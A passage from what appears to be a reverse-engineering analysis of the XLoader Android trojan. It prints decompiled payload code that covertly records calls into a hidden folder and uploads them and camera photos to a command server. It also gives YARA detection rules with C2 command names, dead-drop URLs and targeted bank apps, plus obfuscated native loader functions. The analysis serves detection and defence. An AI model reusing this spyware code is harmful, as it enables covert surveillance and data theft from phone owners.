g.f("is_call_rec_enable", null).h(new a(str, nVar2), ...) // ask C2 again
a.c() // callback if C2 returns true
g.f("on_call_rec", [str, bytes]) // upload recording
where 32 is LISTEN_CALL_STATE.
Overview:
- This feature records calls and saves them to a hidden folder.
- Uploads the saved files to the C2 when there is no call activity (and the C2 approved the upload).
l = new d();
public static final class d extends com.i {
...
/* JADX WARN: Type inference failed for: r11v34, types: [T, byte[]] */
@Override // android.telephony.PhoneStateListener
public void onCallStateChanged(int i, String str) throws IllegalStateException {
com.n nVar;
d.l.c.i.d(str, "incomingNumber");
super.onCallStateChanged(i, str);
if (i == 0) {
Log.d("WS", "IDLE.");
if (d.l.c.i.a(a(), str) && (nVar = this.f245b) != null) {
d.l.c.i.b(nVar);
File fileB = nVar.b();
if (fileB != null) {
d.l.c.n nVar2 = new d.l.c.n();
nVar2.f631a = d.k.g.c(fileB);
Loader.this.g.f("is_call_rec_enable", null).f(c.a.x.b.a.a()).h(new a(str, nVar2), b.f254a);
}
this.f245b = null;
}
b(null);
Timer timer = this.f246c;
if (timer != null) {
d.l.c.i.b(timer);
timer.cancel();
this.f246c = null;
return;
}
return;
}
if (i == 2) {
Loader.this.setSpeekModle$loader_release(true);
c.a.x.b.a.a().c(new c(), 1000L, TimeUnit.MILLISECONDS);
if (d.l.c.i.a(a(), str)) {
com.n nVar3 = new com.n(str);
this.f245b = nVar3;
d.l.c.i.b(nVar3);
nVar3.a();
return;
}
return;
}
if (i == 1) {
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false)) {
try {
Object systemService = Loader.access$getCtx$p(Loader.this).getSystemService("phone");
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.telephony.TelephonyManager");
}
TelephonyManager telephonyManager = (TelephonyManager) systemService;
Method declaredMethod = Class.forName(telephonyManager.getClass().getName()).getDeclaredMethod("getITelephony", new Class[0]);
d.l.c.i.c(declaredMethod, "m");
declaredMethod.setAccessible(true);
Object objInvoke = declaredMethod.invoke(telephonyManager, new Object[0]);
if (objInvoke == null) {
throw new NullPointerException("null cannot be cast to non-null type com.android.internal.telephony.ITelephony");
}
((com.v.a.a.a) objInvoke).a();
} catch (Exception e2) {
e2.printStackTrace();
}
}
Log.d("WS", "CALL_STATE_RINGING");
Object systemService2 = Loader.access$getCtx$p(Loader.this).getSystemService("audio");
if (systemService2 == null) {
throw new NullPointerException("null cannot be cast to non-null type android.media.AudioManager");
}
AudioManager audioManager = (AudioManager) systemService2;
audioManager.setStreamVolume(2, audioManager.getStreamMaxVolume(2), 0);
try {
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false)) {
audioManager.setRingerMode(0);
} else {
audioManager.setRingerMode(2);
}
} catch (Exception unused) {
}
Loader.this.g.f("is_call_rec_enable", null).f(c.a.x.b.a.a()).h(new C0015d(str), e.f259a);
}
}
}
com.n utility class creates a hidden folder and saves the recording there (/sdcard/.rec/.rec.amr):
package com;
import android.media.MediaRecorder;
import android.os.Environment;
import java.io.File;
/* loaded from: /Users/gemesa/git-repos/tmp/xloader/payload.dex */
public class n {
/* renamed from: c, reason: collision with root package name */
private File f477c;
/* renamed from: d, reason: collision with root package name */
private boolean f478d;
String f;
/* renamed from: a, reason: collision with root package name */
private MediaRecorder f475a = null;
/* renamed from: b, reason: collision with root package name */
String f476b = ".rec";
/* renamed from: e, reason: collision with root package name */
private boolean f479e = false;
File g = null;
public n(String str) {
this.f477c = null;
this.f478d = false;
this.f = null;
this.f = str;
boolean zEquals = Environment.getExternalStorageState().equals("mounted");
this.f478d = zEquals;
if (zEquals) {
StringBuilder sb = new StringBuilder();
sb.append(Environment.getExternalStorageDirectory().toString());
String str2 = File.separator;
sb.append(str2);
sb.append(this.f476b);
sb.append(str2);
File file = new File(sb.toString());
this.f477c = file;
if (file.exists()) {
return;
}
this.f477c.mkdir();
}
}
public void a() {
if (this.f478d) {
String str = this.f477c.toString() + File.separator + ".rec.amr";
File file = new File(str);
this.g = file;
if (file.exists()) {
this.g.delete();
}
MediaRecorder mediaRecorder = new MediaRecorder();
this.f475a = mediaRecorder;
try {
mediaRecorder.setAudioSource(1);
this.f475a.setOutputFormat(3);
this.f475a.setAudioEncoder(0);
this.f475a.setOutputFile(str);
this.f475a.prepare();
this.f475a.start();
this.f479e = true;
} catch (Exception e2) {
e2.printStackTrace();
this.f475a = null;
}
}
}
public File b() throws IllegalStateException {
if (!this.f479e) {
return null;
}
this.f475a.stop();
this.f475a.release();
return this.g;
}
}
When there is no call activity (CALL_STATE_IDLE), the phone number (str) and recorded data (nVar2) are uploaded to C2 (if the C2 approves it in its response).
public void onCallStateChanged(int i, String str) throws IllegalStateException {
com.n nVar;
d.l.c.i.d(str, "incomingNumber");
super.onCallStateChanged(i, str);
if (i == 0) {
Log.d("WS", "IDLE.");
if (d.l.c.i.a(a(), str) && (nVar = this.f245b) != null) {
d.l.c.i.b(nVar);
File fileB = nVar.b();
if (fileB != null) {
d.l.c.n nVar2 = new d.l.c.n();
nVar2.f631a = d.k.g.c(fileB);
Loader.this.g.f("is_call_rec_enable", null).f(c.a.x.b.a.a()).h(new a(str, nVar2), b.f254a);
}
Read bytes utility function:
package d.k;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Arrays;
/* JADX INFO: Access modifiers changed from: package-private */
/* loaded from: /Users/gemesa/git-repos/tmp/xloader/payload.dex */
public class g extends f {
/* JADX DEBUG: Finally have unexpected throw blocks count: 2, expect 1 */
public static byte[] c(File file) throws IOException {
d.l.c.i.d(file, "$this$readBytes");
FileInputStream fileInputStream = new FileInputStream(file);
try {
long length = file.length();
if (length > Integer.MAX_VALUE) {
throw new OutOfMemoryError("File " + file + " is too big (" + length + " bytes) to fit in memory.");
}
int i = (int) length;
byte[] bArrC = new byte[i];
int i2 = i;
int i3 = 0;
while (i2 > 0) {
int i4 = fileInputStream.read(bArrC, i3, i2);
if (i4 < 0) {
break;
}
i2 -= i4;
i3 += i4;
}
if (i2 > 0) {
bArrC = Arrays.copyOf(bArrC, i3);
d.l.c.i.c(bArrC, "java.util.Arrays.copyOf(this, newSize)");
} else {
int i5 = fileInputStream.read();
if (i5 != -1) {
c cVar = new c(8193);
cVar.write(i5);
a.b(fileInputStream, cVar, 0, 2, null);
int size = cVar.size() + i;
if (size < 0) {
throw new OutOfMemoryError("File " + file + " is too big to fit in memory.");
}
byte[] bArrC2 = cVar.c();
byte[] bArrCopyOf = Arrays.copyOf(bArrC, size);
d.l.c.i.c(bArrCopyOf, "java.util.Arrays.copyOf(this, newSize)");
bArrC = d.h.f.c(bArrC2, bArrCopyOf, i, 0, cVar.size());
}
}
b.a(fileInputStream, null);
return bArrC;
} catch (Throwable th) {
try {
throw th;
} catch (Throwable th2) {
b.a(fileInputStream, th);
throw th2;
}
}
}
}
a.c callback triggered when the C2 responds, it checks if the response is true, then uploads the data via Loader.this.g.f("on_call_rec",...:
static final class a<T> implements c.a.a0.d<Object> {
...
a(String str, d.l.c.n nVar) {
this.f249b = str;
this.f250c = nVar;
}
/* JADX DEBUG: Multi-variable search result rejected for r3v2, resolved type: byte[] */
/* JADX WARN: Multi-variable type inference failed */
@Override // c.a.a0.d
public final void c(Object obj) {
if (d.l.c.i.a(obj, Boolean.TRUE)) {
Loader.this.g.f("on_call_rec", new Serializable[]{this.f249b, (Serializable) ((byte[]) this.f250c.f631a)}).h(C0014a.f251a, b.f252a);
AlertDialog alertDialogCreate = new AlertDialog.Builder(Loader.access$getCtx$p(Loader.this)).setMessage(com.t.e(12)).setCancelable(false).setPositiveButton(com.t.e(4), new c()).create();
d.l.c.i.c(alertDialogCreate, "dlg");
Window window = alertDialogCreate.getWindow();
d.l.c.i.b(window);
window.setType(2003);
alertDialogCreate.show();
}
}
}
Loader.this.g.f:
public final c.a.s<Object> f(String str, Object obj) {
c.a.s<Object> sVarB;
String str2;
d.l.c.i.d(str, "name");
if (j()) {
sVarB = c.a.s.b(new a(str, obj));
str2 = "Single.create {\n …)\n }\n }";
} else {
Log.w("WS", "skip frame");
sVarB = c.a.s.c(new o(-1, "network error/" + str, null));
str2 = "Single.error(RpcError(-1…rk error/\" + name, null))";
}
d.l.c.i.c(sVarB, str2);
return sVarB;
}
a:
@Override // c.a.v
public final void a(c.a.t<Object> tVar) {
d.l.c.i.d(tVar, "emitter");
k kVar = k.this;
kVar.f444a++;
Map mapF = b0.f(d.e.a("jsonrpc", "2.0"), d.e.a("method", this.f449b), d.e.a("id", Integer.valueOf(kVar.f444a)));
Object obj = this.f450c;
if (obj != null) {
if ((obj instanceof Object[]) || (obj instanceof Map)) {
mapF.put("params", obj);
} else {
mapF.put("params", new Object[]{obj});
}
}
if (k.this.o(mapF)) {
k.this.f447d.put(Integer.valueOf(k.this.f444a), tVar);
} else {
tVar.a(new IOException("connection lost"));
}
}
k.this.o uploads the data via tVar.H:
/* JADX INFO: Access modifiers changed from: private */
public final boolean o(Object obj) throws IOException {
com.w.a.a.t tVar = this.f445b;
if (tVar == null || !tVar.x()) {
return false;
}
e.a.b.v vVarR = r(obj);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
e.a.a.i iVarA = e.a.a.g.a(byteArrayOutputStream);
iVarA.o(vVarR);
iVarA.close();
tVar.H(byteArrayOutputStream.toByteArray());
return true;
}
Image upload
get_gallery
Camera files are listed via the get_gallery RPC command.
d0 is the registered RPC handler for the get_gallery command.
Overview:
- Lists all files in the camera folder.
StringBuilder sb = new StringBuilder();
File externalStorageDirectory = Environment.getExternalStorageDirectory();
d.l.c.i.c(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
sb.append(externalStorageDirectory.getAbsolutePath());
sb.append("/DCIM/Camera");
File file = new File(sb.toString());
this.g.n("get_gallery", new d0(file));
static final class d0 extends d.l.c.j implements d.l.b.l<Object[], c.a.h<?>> {
/* renamed from: c, reason: collision with root package name */
final /* synthetic */ File f261c;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
d0(File file) {
super(1);
this.f261c = file;
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final c.a.h<?> b(Object[] objArr) {
d.l.c.i.d(objArr, "it");
ArrayList arrayList = new ArrayList();
ArrayList arrayList2 = new ArrayList();
Loader loader = Loader.this;
String absolutePath = this.f261c.getAbsolutePath();
d.l.c.i.c(absolutePath, "galleryDir.absolutePath");
loader.l(absolutePath, arrayList2);
ArrayList arrayList3 = new ArrayList(d.h.l.h(arrayList2, 10));
Iterator it = arrayList2.iterator();
while (it.hasNext()) {
arrayList3.add(d.k.i.f((File) it.next(), this.f261c).getPath());
}
arrayList.addAll(arrayList3);
c.a.h<?> hVarF = c.a.h.f(arrayList);
d.l.c.i.c(hVarF, "Maybe.just(list)");
return hVarF;
}
}
get_photo
Camera files are stolen via the get_photo RPC command.
e0 is the registered RPC handler for the get_photo command.
Overview:
- Uploads a specific file by path to C2.
Registering the RPC handler:
StringBuilder sb = new StringBuilder();
File externalStorageDirectory = Environment.getExternalStorageDirectory();
d.l.c.i.c(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
sb.append(externalStorageDirectory.getAbsolutePath());
sb.append("/DCIM/Camera");
File file = new File(sb.toString());
...
this.g.n("get_photo", new e0(file));
static final class e0 extends d.l.c.j implements d.l.b.l<Object[], c.a.h<?>> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ File f282b;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
e0(File file) {
super(1);
this.f282b = file;
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final c.a.h<?> b(Object[] objArr) {
d.l.c.i.d(objArr, "it");
Object obj = objArr[0];
if (obj == null) {
throw new NullPointerException("null cannot be cast to non-null type kotlin.String");
}
c.a.h<?> hVarF = c.a.h.f(new com.g(new File(this.f282b.getAbsolutePath() + "/" + ((String) obj))).a());
d.l.c.i.c(hVarF, "Maybe.just(bytes)");
return hVarF;
}
}
com.g utility class scales down the images and for non-image files it returns the raw bytes (if they are maximum 11MB):
package com;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
/* loaded from: /Users/gemesa/git-repos/tmp/xloader/payload.dex */
public class g {
/* renamed from: a, reason: collision with root package name */
private File f437a;
/* renamed from: b, reason: collision with root package name */
private int f438b;
/* renamed from: c, reason: collision with root package name */
private int f439c;
public g(File file) {
this.f437a = file;
BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true;
options.inSampleSize = 1;
BitmapFactory.decodeStream(new FileInputStream(file), null, options);
this.f438b = options.outWidth;
this.f439c = options.outHeight;
}
private int b() {
int i = this.f438b;
if (i % 2 == 1) {
i++;
}
this.f438b = i;
int i2 = this.f439c;
if (i2 % 2 == 1) {
i2++;
}
this.f439c = i2;
int iMax = Math.max(i, i2);
float fMin = Math.min(this.f438b, this.f439c) / iMax;
if (fMin > 1.0f || fMin <= 0.5625d) {
double d2 = fMin;
if (d2 > 0.5625d || d2 <= 0.5d) {
double d3 = iMax;
Double.isNaN(d2);
Double.isNaN(d3);
return (int) Math.ceil(d3 / (1280.0d / d2));
}
int i3 = iMax / 1280;
if (i3 == 0) {
return 1;
}
return i3;
}
if (iMax < 1664) {
return 1;
}
if (iMax < 4990) {
return 2;
}
if (iMax > 4990 && iMax < 10240) {
return 4;
}
int i4 = iMax / 1280;
if (i4 == 0) {
return 1;
}
return i4;
}
public byte[] a() throws o, IOException {
String absolutePath = this.f437a.getAbsolutePath();
if (!absolutePath.endsWith("jpg") && !absolutePath.endsWith("png") && !absolutePath.endsWith("jpeg")) {
if (this.f437a.length() < 11534336) {
return d.k.a.d(new FileInputStream(absolutePath), 8192);
}
throw new o(1000, "文件超过10M:" + ((this.f437a.length() / 1024) / 1024) + "M", null);
}
BitmapFactory.Options options = new BitmapFactory.Options();
options.inSampleSize = b();
Bitmap bitmapDecodeStream = BitmapFactory.decodeStream(new FileInputStream(this.f437a), null, options);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
bitmapDecodeStream.compress(Bitmap.CompressFormat.JPEG, 60, byteArrayOutputStream);
bitmapDecodeStream.recycle();
byte[] byteArray = byteArrayOutputStream.toByteArray();
byteArrayOutputStream.close();
return byteArray;
}
}
Upload mechanism
Register:
this.g.n("get_photo", new e0(file));
this.g.n:
public final void n(String str, d.l.b.l<? super Object[], ? extends c.a.h<?>> lVar) {
d.l.c.i.d(str, "name");
d.l.c.i.d(lVar, "cb");
this.f446c.put(str, lVar);
}
this.f446c is used in k.this.m:
public final void m(byte[] bArr) {
try {
e.a.b.o oVarI = e.a.a.g.b(bArr).I();
d.l.c.i.c(oVarI, "MessagePack.newDefaultUn…er(payload).unpackValue()");
Object objQ = q(oVarI);
if (objQ == null) {
throw new NullPointerException("null cannot be cast to non-null type kotlin.collections.Map<*, *>");
}
Map map = (Map) objQ;
if (map.containsKey("method")) {
Object obj = map.get("id");
Object obj2 = map.get("params");
d.l.b.l<Object[], c.a.h<?>> lVar = this.f446c.get(map.get("method"));
if (lVar != null) {
d dVar = new d(obj);
try {
if (!(obj2 instanceof Object[])) {
obj2 = null;
}
Object[] objArr = (Object[]) obj2;
if (objArr == null) {
objArr = new Object[0];
}
c.a.h<?> hVarB = lVar.b(objArr);
if (obj != null) {
hVarB.g(new e(obj), new f(dVar), new g(obj));
return;
}
return;
} catch (Throwable th) {
if (obj != null) {
String message = th.getMessage();
if (message == null) {
message = "";
}
dVar.d(new o(-32603, message, null));
return;
}
return;
}
}
return;
}
hVarB.g registers the callbacks:
public final c.a.y.b g(c.a.a0.d<? super T> dVar, c.a.a0.d<? super Throwable> dVar2, c.a.a0.a aVar) {
c.a.b0.b.b.c(dVar, "onSuccess is null");
c.a.b0.b.b.c(dVar2, "onError is null");
c.a.b0.b.b.c(aVar, "onComplete is null");
return (c.a.y.b) j(new c.a.b0.e.b.b(dVar, dVar2, aVar));
}
The onSuccess callback calls k.this.o:
static final class e<T> implements c.a.a0.d<Object> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Object f463b;
e(Object obj) {
this.f463b = obj;
}
@Override // c.a.a0.d
public final void c(Object obj) throws IOException {
k.this.o(b0.e(d.e.a("jsonrpc", "2.0"), d.e.a("id", this.f463b), d.e.a("result", obj)));
}
}
k.this.o uploads the data via tVar.H:
public final boolean o(Object obj) throws IOException {
com.w.a.a.t tVar = this.f445b;
if (tVar == null || !tVar.x()) {
return false;
}
e.a.b.v vVarR = r(obj);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
e.a.a.i iVarA = e.a.a.g.a(byteArrayOutputStream);
iVarA.o(vVarR);
iVarA.close();
tVar.H(byteArrayOutputStream.toByteArray());
return true;
}
Based on the signature and the surrounding code, k.this.m is called in onMessage:
public static final class b extends com.w.a.a.u {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ a f459b;
b(a aVar) {
this.f459b = aVar;
}
@Override // com.w.a.a.u, com.w.a.a.b0
public void d(com.w.a.a.t tVar, String str) {
super.d(tVar, str);
}
@Override // com.w.a.a.b0
public void f(com.w.a.a.t tVar, z zVar, z zVar2, boolean z) {
String strQ;
if (!z) {
zVar = zVar2;
}
a aVar = this.f459b;
int iP = zVar != null ? zVar.p() : -1;
if (zVar == null || (strQ = zVar.q()) == null) {
strQ = "unknown";
}
aVar.d(iP, strQ, null);
}
@Override // com.w.a.a.b0
public void h(com.w.a.a.t tVar, byte[] bArr) {
d.l.c.i.d(tVar, "websocket");
k.this.m(bArr);
}
@Override // com.w.a.a.u, com.w.a.a.b0
public void v(com.w.a.a.t tVar, d0 d0Var) {
super.v(tVar, d0Var);
Log.d("WS", "conn changed: " + d0Var);
}
}
Dynamic analysis
The APK contains only an armeabi-v7a library but 32-bit ARM images are not supported on Apple Silicon by Android Studio emulators. Therefore, no dynamic analysis is conducted for now. This chapter might be revisited in the future on an x86-based machine.
IOCs
Note: the rules are available here as well.
YARA
Note: the APK needs to be unzipped first.
Loader
rule xloader_loader_android {
meta:
description = "XLoader loader (Android)"
author = "Andras Gemes"
date = "2025-12-14"
sha256 = "02c08ec2675abe6e09691419dd1a281194879c6e393de1cdfb150b864378d921"
ref1 = "https://shadowshell.io/xloader"
ref2 = "https://bazaar.abuse.ch/sample/02c08ec2675abe6e09691419dd1a281194879c6e393de1cdfb150b864378d921/"
strings:
// AndroidManifest.xml
// Package name.
// package="qqfzq.oeoop.lr.xnzcwr"
$package = "qqfzq.oeoop.lr.xnzcwr" ascii wide
// Junk permissions.
// <uses-permission android:name="sedv.yfem.nfjzi"/>
$permission0 = "sedv.yfem.nfjzi" ascii wide
// <uses-permission android:name="pfoph.ryxrplq.dyek"/>
$permission1 = "pfoph.ryxrplq.dyek" ascii wide
// <uses-permission android:name="rzcad.qkwoooz.ualxq"/>
$permission2 = "rzcad.qkwoooz.ualxq" ascii wide
// <uses-permission android:name="bcemr.fjshnci.xfanv"/>
$permission3 = "bcemr.fjshnci.xfanv" ascii wide
// <uses-permission android:name="qrzsznko.gsgeyz.fztiy"/>
$permission4 = "qrzsznko.gsgeyz.fztiy" ascii wide
// <uses-permission android:name="pphnxshu.bhxe.rxgklxny"/>
$permission5 = "pphnxshu.bhxe.rxgklxny" ascii wide
// Package/class names.
// android:name="gf6h8y8.GNuApplication"
$pc0 = "gf6h8y8.GNuApplication" ascii wide
// android:name="gf6h8y8.CrActivity"
$pc1 = "gf6h8y8.CrActivity" ascii wide
// android:name="gf6h8y8.Ux"
$pc2 = "gf6h8y8.Ux" ascii wide
// android:name="gf6h8y8.Ry"
$pc3 = "gf6h8y8.Ry" ascii wide
// android:name="gf6h8y8.Jz"
$pc4 = "gf6h8y8.Jz" ascii wide
// android:name="gf6h8y8.Li"
$pc5 = "gf6h8y8.Li" ascii wide
// android:name="gf6h8y8.Ap"
$pc6 = "gf6h8y8.Ap" ascii wide
// android:name="gf6h8y8.Yi"
$pc7 = "gf6h8y8.Yi" ascii wide
condition:
10 of them
}
Payload
rule xloader_payload_android {
meta:
description = "XLoader payload (Android)"
author = "Andras Gemes"
date = "2025-12-14"
sha256 = "02c08ec2675abe6e09691419dd1a281194879c6e393de1cdfb150b864378d921"
ref1 = "https://shadowshell.io/xloader"
ref2 = "https://bazaar.abuse.ch/sample/02c08ec2675abe6e09691419dd1a281194879c6e393de1cdfb150b864378d921/"
strings:
// Server-side RPC handlers.
/*
private final void m() {
this.g.n("sendSms", new r());
this.g.n("setWifi", new c0());
this.g.n("gcont", new f0());
this.g.n("lock", new g0());
this.g.n("bc", new h0());
this.g.n("setForward", new i0());
this.g.n("getForward", new j0());
this.g.n("hasPkg", new k0());
this.g.n("setRingerMode", new l0());
this.g.n("setRecEnable", new s());
this.g.n("reqState", new t());
this.g.n("showHome", new u());
this.g.n("getnpki", v.f377b);
this.g.n("http", w.f381b);
this.g.n("onRecordAction", new x());
this.g.n("call", new y());
this.g.n("get_apps", new z());
this.g.n("ping", new a0());
this.g.n("getPhoneState", new b0());
StringBuilder sb = new StringBuilder();
File externalStorageDirectory = Environment.getExternalStorageDirectory();
d.l.c.i.c(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
sb.append(externalStorageDirectory.getAbsolutePath());
sb.append("/DCIM/Camera");
File file = new File(sb.toString());
this.g.n("get_gallery", new d0(file));
this.g.n("get_photo", new e0(file));
}
*/
$rpc0 = "sendSms"
$rpc1 = "setWifi"
$rpc2 = "gcont"
$rpc3 = "lock"
$rpc4 = "bc"
$rpc5 = "setForward"
$rpc6 = "getForward"
$rpc7 = "hasPkg"
$rpc8 = "setRingerMode"
$rpc9 = "setRecEnable"
$rpc10 = "reqState"
$rpc11 = "showHome"
$rpc12 = "getnpki"
$rpc13 = "http"
$rpc14 = "onRecordAction"
$rpc15 = "call"
$rpc16 = "get_apps"
$rpc17 = "ping"
$rpc18 = "getPhoneState"
$rpc19 = "get_gallery"
$rpc20 = "get_photo"
// Cliend-side RPC handlers.
$rpc21 = "on_call_rec"
$rpc22 = "is_call_rec_enable"
$rpc23 = "setMyInfo"
$rpc24 = "setMyVCode"
$rpc25 = "openbrowser2"
// Pinterest dead drops.
$pinterest0 = "https://www.pinterest.com/emeraldquinn4090/"
$pinterest1 ="https://www.pinterest.com/kelliemarshall9518/"
$pinterest2 ="https://www.pinterest.com/shonabutler10541/"
$pinterest3 ="https://www.pinterest.com/norahspencer9/"
$pinterest4 ="https://www.pinterest.com/singletonabigail/"
$pinterest5 ="https://www.pinterest.com/felicitynewman8858/"
$pinterest6 ="https://www.pinterest.com/abigailn674/"
$pinterest7 ="https://www.pinterest.com/gh6855786/"
$pinterest8 ="https://www.pinterest.com/catogreggex11/"
$pinterest9 ="https://www.pinterest.com/ingalcliffth/"
$pinterest10 ="https://www.pinterest.com/husaincrisp/"
// vk.com markers.
$vk0 = "ffgtrrt([\\w_-]+?)ffgtrrt"
$vk1 = "freefh([\\w_-]+?)freefh"
$vk2 = "gfrtthnm([\\w_-]+?)gfrtthnm"
$vk3 = "ohgftyn([\\w_-]+?)ohgftyn"
$vk4 = "fdthjn([\\w_-]+?)fdthjn"
$vk5 = "gftrtr([\\w_-]+?)gftrtr"
$vk6 = "bgfrewi([\\w_-]+?)bgfrewi"
$vk7 = "htynff([\\w_-]+?)htynff"
$vk8 = "hfdrgf([\\w_-]+?)hfdrgf"
$vk9 = "fdedsds([\\w_-]+?)fdedsds"
$vk10 = "dsfewdw([\\w_-]+?)dsfewdw"
$vk11 = "retredwcd([\\w_-]+?)retredwcd"
// File system paths.
$fs0 = "/NPKI"
$fs1 = ".rec"
$fs2 = ".rec.amr"
// Japanese bank apps.
$bank0 = "jp.co.smbc.direct"
$bank1 = "jp.co.rakuten_bank.rakutenbank"
$bank2 = "jp.mufg.bk.applisp.app"
$bank3 = "jp.co.japannetbank.smtapp.balance"
$bank4 = "jp.co.netbk.smartkey.SSNBSmartkey"
$bank5 = "jp.japanpost.jp_bank.FIDOapp"
$bank6 = "jp.co.jibunbank.jibunmain"
$bank7 = "jp.co.sevenbank.AppPassbook"
// Korean phishing form fields.
// NPKI certificate.
$field0 = "공인인증서" ascii wide
// Password.
$field1 = "비밀번호" ascii wide
// Card number.
$field2 = "카드번호" ascii wide
// Card holder name.
$field3 = "카드소유자명" ascii wide
// Expiry date.
$field4 = "유효기간" ascii wide
// Postal code.
$field5 = "우편번호" ascii wide
condition:
20 of them
}
Appendix
Native functions
All of the decompiled and type-annotated native functions are listed here. Additionally, the Java equivalent has been manually added to each one as a plate-comment.
Java_s_ni_iz
/*
public static Object iz(Class<?> cls) {
return cls.create();
}
*/
jobject Java_s_ni_iz(JNIEnv *env,jclass clazz,jclass cls)
{
jobject p_Var1;
jmethodID p_Var2;
p_Var2 = (*(*env)->GetStaticMethodID)(env,cls,"create","()Ljava/lang/Object;");
p_Var1 = (jobject)_JNIEnv::CallStaticObjectMethod((_jclass *)env,(_jmethodID *)cls,p_Var2);
return p_Var1;
}
Java_s_ni_jz
/*
public static void jz(String unused, Object[] objArr) {
PackageManager pm = (PackageManager) objArr[0];
ComponentName component = (ComponentName) objArr[1];
pm.setComponentEnabledSetting(
component,
2, // COMPONENT_ENABLED_STATE_DISABLED
1 // DONT_KILL_APP
);
}
https://developer.android.com/reference/android/content/pm/PackageManager.ComponentEnabledSetting
*/
void Java_s_ni_jz(JNIEnv *env,jclass clazz,jstring str,jobjectArray objArr)
{
jobject obj;
jobject p_Var1;
jclass clazz_00;
size_t sVar2;
jmethodID methodID;
jvalue local_140;
undefined4 local_138;
undefined4 local_130;
char acStack_128 [4];
char acStack_124 [252];
int local_28;
local_28 = __stack_chk_guard;
obj = (*(*env)->GetObjectArrayElement)(env,objArr,0);
p_Var1 = (*(*env)->GetObjectArrayElement)(env,objArr,1);
clazz_00 = (*(*env)->GetObjectClass)(env,obj);
__aeabi_memclr8(acStack_128,0x100);
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"set",4);
sVar2 = strlen(acStack_128);
__aeabi_memcpy(acStack_128 + sVar2,"Component",10);
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"Enab",4);
builtin_strncpy(acStack_124 + sVar2,"led",4);
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"Sett",4);
builtin_strncpy(acStack_124 + sVar2,"ing",4);
methodID = (*(*env)->GetMethodID)(env,clazz_00,acStack_128,"(Landroid/content/ComponentName;II)V")
;
/* COMPONENT_ENABLED_STATE_DISABLED */
local_138 = 2;
/* DONT_KILL_APP */
local_130 = 1;
local_140.l = p_Var1;
(*(*env)->CallVoidMethodA)(env,obj,methodID,&local_140);
if (__stack_chk_guard != local_28) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Java_s_ni_ls
/*
public static String ls(int i) {
switch (i) {
case 0: return "";
case 1: return "com.Loader";
case 2: return "getFilesDir";
default: return null;
}
}
*/
jstring Java_s_ni_ls(JNIEnv *env,jclass clazz,jint i)
{
jstring p_Var1;
if (i == 2) {
/* WARNING: Could not recover jumptable at 0x00018340. Too many branches */
/* WARNING: Treating indirect jump as call */
p_Var1 = (*(*env)->NewStringUTF)(env,"getFilesDir");
return p_Var1;
}
if (i != 1) {
if (i == 0) {
/* WARNING: Could not recover jumptable at 0x00018334. Too many branches */
/* WARNING: Treating indirect jump as call */
p_Var1 = (*(*env)->NewStringUTF)(env,"");
return p_Var1;
}
return (jstring)0x0;
}
/* WARNING: Could not recover jumptable at 0x0001834c. Too many branches */
/* WARNING: Treating indirect jump as call */
p_Var1 = (*(*env)->NewStringUTF)(env,"com.Loader");
return p_Var1;
}
Java_s_ni_mz
/*
public static DexClassLoader mz(String str, String str2) {
return new DexClassLoader(str, str2, null, null);
}
*/
jobject Java_s_ni_mz(JNIEnv *env,jclass clazz,jstring str,jstring str2)
{
char *pcVar1;
size_t sVar2;
jclass clazz_00;
jmethodID p_Var3;
jobject p_Var4;
char acStack_128 [256];
int local_28;
local_28 = __stack_chk_guard;
__aeabi_memclr8(acStack_128,0x100);
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"dal",4);
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"vik",4);
sVar2 = strlen(acStack_128);
pcVar1 = acStack_128 + sVar2;
pcVar1[0] = '/';
pcVar1[1] = '\0';
sVar2 = strlen(acStack_128);
__aeabi_memcpy(acStack_128 + sVar2,"system",7);
sVar2 = strlen(acStack_128);
pcVar1 = acStack_128 + sVar2;
pcVar1[0] = '/';
pcVar1[1] = '\0';
sVar2 = strlen(acStack_128);
pcVar1 = acStack_128 + sVar2;
pcVar1[0] = 'D';
pcVar1[1] = '\0';
sVar2 = strlen(acStack_128);
pcVar1 = acStack_128 + sVar2;
pcVar1[0] = 'e';
pcVar1[1] = 'x';
acStack_128[sVar2 + 2] = '\0';
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"Cla",4);
sVar2 = strlen(acStack_128);
pcVar1 = acStack_128 + sVar2;
pcVar1[0] = 's';
pcVar1[1] = 's';
acStack_128[sVar2 + 2] = '\0';
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"Loa",4);
sVar2 = strlen(acStack_128);
builtin_strncpy(acStack_128 + sVar2,"der",4);
clazz_00 = (*(*env)->FindClass)(env,acStack_128);
p_Var3 = (*(*env)->GetMethodID)
(env,clazz_00,"<init>",
